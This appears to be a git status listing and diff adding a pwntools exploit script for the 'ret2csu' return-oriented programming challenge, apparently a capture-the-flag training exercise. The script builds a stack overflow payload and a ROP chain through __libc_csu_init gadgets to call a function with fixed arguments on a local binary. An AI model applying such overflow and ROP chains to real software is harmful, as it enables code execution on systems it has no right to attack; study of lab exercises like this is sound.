modified: x86_64/pivot/exploit.py

	new file:   x86_64/pivot/exploit2.py
	deleted:    x86_64/pivot/stest
	deleted:    x86_64/pivot/test
	new file:   x86_64/pivot/todo
	new file:   x86_64/ret2csu/exploit.py
	new file:   x86_64/ret2csu/gadgets

1 files changed, 27 insertions, 0 deletions

diff --git a/x86_64/ret2csu/exploit.py b/x86_64/ret2csu/exploit.py
new file mode 100755
index 0000000..a148687
--- /dev/null
+++ b/x86_64/ret2csu/exploit.py
@@ -0,0 +1,27 @@
+#!/usr/bin/env python3
+from pwn import *
+
+prog = gdb.debug('./ret2csu', gdbscript='b *0x40069a')
+payload = b''
+for c in range(40):
+    payload += b'a'
+
+
+payload += p64(0x40069a)            # __libc_csu_init()
+payload += p64(0)
+payload += p64(0)
+payload += p64(0x601020)
+payload += p64(0xdeadbeefdeadbeef)
+payload += p64(0xcafebabecafebabe)
+payload += p64(0xd00df00dd00df00d)
+
+payload += p64(0x400680)
+
+
+#payload += p64(0x00000000004006a3)
+#payload += p64(0xdeadbeefdeadbeef)
+
+payload += b"\n"
+
+prog.sendline(payload)
+prog.interactive()